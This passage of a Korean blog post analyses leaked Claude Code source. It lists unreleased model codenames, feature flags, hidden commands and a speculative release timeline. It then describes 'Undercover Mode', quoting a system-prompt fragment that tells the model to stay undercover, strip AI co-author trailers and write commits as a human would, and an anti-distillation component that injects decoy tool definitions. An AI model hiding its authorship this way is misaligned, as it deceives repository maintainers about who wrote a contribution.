&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;④ Capybara 모델 패밀리&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1212&quot; data-origin-height=&quot;512&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b8AqbW/dJMcaflMnYl/szwL4snnhL23PbwUdVD2YK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b8AqbW/dJMcaflMnYl/szwL4snnhL23PbwUdVD2YK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b8AqbW/dJMcaflMnYl/szwL4snnhL23PbwUdVD2YK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb8AqbW%2FdJMcaflMnYl%2FszwL4snnhL23PbwUdVD2YK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;404&quot; height=&quot;171&quot; data-origin-width=&quot;1212&quot; data-origin-height=&quot;512&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;소스에서 발견된 미공개 모델 코드명:&lt;/p&gt;
&lt;ul style=&quot;padding-left: 20px; line-height: 2;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;code&gt;capybara&lt;/code&gt; &amp;mdash; 표준 버전&lt;/li&gt;
&lt;li&gt;&lt;code&gt;capybara-fast&lt;/code&gt; &amp;mdash; 빠른 버전&lt;/li&gt;
&lt;li&gt;&lt;code&gt;capybara-fast[1m]&lt;/code&gt; &amp;mdash; 빠른 버전 + 1M 컨텍스트&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Claude Code 내부 프로젝트 코드명인 &lt;b&gt;&quot;Tengu&quot;&lt;/b&gt;는 수백 개의 피처 플래그와 애널리틱스 이벤트에 접두사로 사용된다. 내부적으로 Tengu = Claude Code다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;⑤ betas.ts 피처 플래그 전체 목록&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1182&quot; data-origin-height=&quot;612&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bM1KEB/dJMcacCBa2R/1R47V4kEmc9d5DFLcBr1bk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bM1KEB/dJMcacCBa2R/1R47V4kEmc9d5DFLcBr1bk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bM1KEB/dJMcacCBa2R/1R47V4kEmc9d5DFLcBr1bk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbM1KEB%2FdJMcacCBa2R%2F1R47V4kEmc9d5DFLcBr1bk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;342&quot; height=&quot;177&quot; data-origin-width=&quot;1182&quot; data-origin-height=&quot;612&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;betas.ts&lt;/code&gt; 파일에서 확인된 15개 이상의 미출시 기능:&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;플래그&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;내용&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;interleaved thinking&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;확장 추론 중간 삽입&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;1M token context&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;100만 토큰 컨텍스트 윈도우&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;structured outputs&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;구조화된 출력&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;web search integration&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;웹 검색 통합&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;AFK mode&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;자리 비움 자율 실행 모드&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;Fast Mode (&quot;Penguin Mode&quot;)&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;내부명 &quot;Penguin Mode&quot;, 빠른 응답 모드&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;redacted thinking&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;추론 과정 숨김 출력&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;advisor tool&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;자문 전용 도구&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;token-efficient tool schemas&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;토큰 효율적 도구 스키마&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;connector text summarization&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;커넥터 텍스트 요약&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;!-- 섹션 6 추가 — 숨겨진 커맨드 &amp; 타임라인 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;⑥ 숨겨진 슬래시 커맨드 &amp;amp; CLI 서브커맨드&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;소스에서 확인된 미공개 명령어들. 현재 일반 사용자 빌드에서는 feature flag로 차단되어 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a href=&quot;https://aldegad.github.io/claude-code-analysis/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;aldegad 분석, 2026-03-31&lt;/a&gt;)&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;커맨드&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;연결 기능&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;/ultraplan&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;ULTRAPLAN &amp;mdash; 원격 Opus 4.6 30분 계획&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;/buddy&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;BUDDY &amp;mdash; AI 반려동물 소환&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;/dream&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;KAIROS_DREAM &amp;mdash; 메모리 통합 에이전트 실행&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;/fork&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;FORK_SUBAGENT &amp;mdash; 대화를 서브에이전트로 포크&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;/loop&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;AGENT_TRIGGERS &amp;mdash; Cron 기반 자동 실행&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;/schedule&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;AGENT_TRIGGERS_REMOTE &amp;mdash; 원격 스케줄 실행&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;/subscribe-pr&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;KAIROS_GITHUB_WEBHOOKS &amp;mdash; PR 이벤트 구독&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;/brief&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;KAIROS_BRIEF &amp;mdash; 간략 요약 모드&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;/peers&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;UDS_INBOX &amp;mdash; Unix Domain Socket 피어 메시지&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;/workflows&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;WORKFLOW_SCRIPTS &amp;mdash; 커스텀 워크플로우 실행&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;/thinkback&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;GrowthBook 런타임 게이트 &amp;mdash; 추론 재검토&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;/torch&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;TORCH &amp;mdash; 소스에서 목적 불명확&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;claude daemon&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;DAEMON &amp;mdash; 백그라운드 수퍼바이저 프로세스&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;claude remote-control&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;BRIDGE_MODE &amp;mdash; 원격 환경 브리지&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;claude --bg&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;BG_SESSIONS &amp;mdash; 백그라운드 세션&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;claude ps / logs / attach / kill&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;BG_SESSIONS &amp;mdash; 백그라운드 세션 관리&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;claude --computer-use-mcp&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;CHICAGO_MCP &amp;mdash; macOS 컴퓨터 제어&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;⑦ 출시 타임라인 예측 (aldegad 분석)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[ESTIMATE] 소스 완성도와 feature flag 상태를 기반으로 한 분석팀 예측이다. 공식 Anthropic 발표가 아님을 명심하라.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a href=&quot;https://aldegad.github.io/claude-code-analysis/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;aldegad 분석, 2026-03-31&lt;/a&gt;)&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;기능&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;예상 출시&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;근거&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;TRANSCRIPT_CLASSIFIER (auto 모드)&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;이미 부분 공개&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;외부 빌드 포함, GrowthBook 점진 롤아웃&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;BG_SESSIONS (&lt;code&gt;claude --bg&lt;/code&gt;)&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;2026 Q2-Q3&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;높은 코드 완성도&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;AGENT_TRIGGERS (/loop, /schedule)&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;2026 Q2-Q3&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;TODO(public-ship)&lt;/code&gt; 주석 존재&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;BRIDGE_MODE (remote-control)&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;2026 Q2&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;ant 빌드 활성화, GrowthBook 게이트&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;COORDINATOR_MODE&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;2026 Q3&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;코드 안정, 런타임 게이트&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;VOICE_MODE&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;2026 Q3-Q4&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;WebSocket STT 완성, OAuth 통합&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;KAIROS (always-on Claude)&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;2026 H2&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;6개 서브플래그, 최대 범위&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;ULTRAPLAN&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;2026 Q3-Q4&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;CCR 의존성, prod-hardening TODO&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;CHICAGO_MCP (Computer Use)&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;2026 H2&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;macOS 전용, Computer Use 통합&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;한 줄 요약: KAIROS + COORDINATOR_MODE + AGENT_TRIGGERS + BG_SESSIONS + DAEMON이 모두 출시되면, Claude Code는 &quot;에디터 어시스턴트&quot;에서 &quot;24시간 자율 에이전트 플랫폼&quot;으로 진화한다. 이번 유출은 그 설계도를 우연히 공개한 셈이다.&lt;/i&gt;&lt;/p&gt;
&lt;!-- 섹션 7 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 10px; margin-top: 40px;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;7. 내부 안전장치: 충격적인 두 가지 발견&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;가장 논쟁적이었던 두 가지 코드다. 기술적 흥미를 넘어 윤리적 질문을 던진다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;① Undercover Mode &amp;mdash; 위장 모드&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1954&quot; data-origin-height=&quot;1062&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Bazpw/dJMcacbvTSg/yyaXagpGfODPSIqeQj5kP1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Bazpw/dJMcacbvTSg/yyaXagpGfODPSIqeQj5kP1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Bazpw/dJMcacbvTSg/yyaXagpGfODPSIqeQj5kP1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FBazpw%2FdJMcacbvTSg%2FyyaXagpGfODPSIqeQj5kP1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1954&quot; height=&quot;1062&quot; data-origin-width=&quot;1954&quot; data-origin-height=&quot;1062&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;소스에서 발견된 시스템 프롬프트 일부:&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; margin: 15px 0; overflow-x: auto;&quot;&gt;
&lt;pre class=&quot;vim&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;markdown&quot;&gt;&lt;code&gt;&quot;You are operating UNDERCOVER...
Your commit messages and code comments MUST NOT contain ANY
Anthropic-internal information. Do not blow your cover.

If we're not confident we're internal, we stay undercover.&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 모드는 Anthropic 직원이 공개 저장소에서 Claude Code를 사용할 때 활성화된다. 다음 정보를 자동으로 제거한다:&lt;/p&gt;
&lt;ul style=&quot;padding-left: 20px; line-height: 2;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;Git Co-Authored-By 헤더 완전 삭제&lt;/b&gt; &amp;mdash; AI 기여를 나타내는 커밋 트레일러를 자동 제거해 AI가 작성했음을 숨긴다 (소스 확인)&lt;/li&gt;
&lt;li&gt;커밋 메시지 스타일 변경 &amp;mdash; 시스템 프롬프트에 &quot;write commits as a human developer would&quot; 지시가 포함됨 (소스 확인)&lt;/li&gt;
&lt;li&gt;내부 모델 코드명 (Capybara, Tengu 등 동물명)&lt;/li&gt;
&lt;li&gt;미공개 버전 번호&lt;/li&gt;
&lt;li&gt;내부 툴링 참조&lt;/li&gt;
&lt;li&gt;&quot;Claude Code&quot;라는 단어 자체&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;background-color: #fff3cd; padding: 16px 20px; border-radius: 10px; border-left: 5px solid #ffc107; margin: 20px 0;&quot;&gt;&lt;b&gt;커뮤니티 반응&lt;/b&gt;&lt;br /&gt;기술적으로는 커밋 메시지&amp;middot;PR 제목&amp;middot;PR 본문에서 Anthropic 내부 정보(Capybara, Tengu 같은 코드네임 등)가 공개 저장소에 노출되는 것을 방지하는 기능이다. &lt;br /&gt;그러나 커뮤니티에서는 &quot;AI가 작성한 기여물임을 숨기는 것 아니냐&quot;는 우려로 번졌고, HN에서는 &quot;기여자 투명성&quot;과 &quot;도구 선택의 자유&quot; 사이의 경계에 대한 토론이 이어졌다. &lt;br /&gt;이 기능의 실제 의도와 커뮤니티의 해석 사이에 간극이 있음을 염두에 두어야 한다. &lt;br /&gt;(출처: &lt;a href=&quot;https://news.ycombinator.com/item?id=47584540&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Hacker News #47584540&lt;/a&gt;)&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;② ANTI_DISTILLATION_CC &amp;mdash; 경쟁사 방어 장치&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1926&quot; data-origin-height=&quot;1094&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/p8FxR/dJMcaax0TC3/t8RMIjvoH5AZrzSI2FCKHK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/p8FxR/dJMcaax0TC3/t8RMIjvoH5AZrzSI2FCKHK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/p8FxR/dJMcaax0TC3/t8RMIjvoH5AZrzSI2FCKHK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fp8FxR%2FdJMcaax0TC3%2Ft8RMIjvoH5AZrzSI2FCKHK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1926&quot; height=&quot;1094&quot; data-origin-width=&quot;1926&quot; data-origin-height=&quot;1094&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;코드에서 &lt;code&gt;ANTI_DISTILLATION_CC&lt;/code&gt;라는 이름의 컴포넌트가 발견됐다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 컴포넌트는 API 요청에 &lt;b&gt;가짜 도구 정의(decoy tool definitions)&lt;/b&gt;를 삽입한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;커뮤니티에서는 경쟁사가 Claude Code와의 대화 데이터를 모델 증류(model distillation)에 활용하려 할 때 학습 데이터를 오염시키기 위한 목적으로 해석하고 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Anthropic이 공식적으로 이 의도를 확인하지는 않았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;HN에서는 이에 대한 반응이 둘로 나뉘었다:&lt;/p&gt;
&lt;ul style=&quot;padding-left: 20px; line-height: 2;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;옹호론&lt;/b&gt;: 자사 API로 생성된 데이터를 경쟁사가 무단 학습하는 것에 대한 정당한 방어&lt;/li&gt;
&lt;li&gt;&lt;b&gt;비판론&lt;/b&gt;: 표준 API 계약 이상의 &quot;데이터 독성&quot; 행위는 신뢰를 훼손한다&lt;/li&gt;
&lt;/ul&gt;
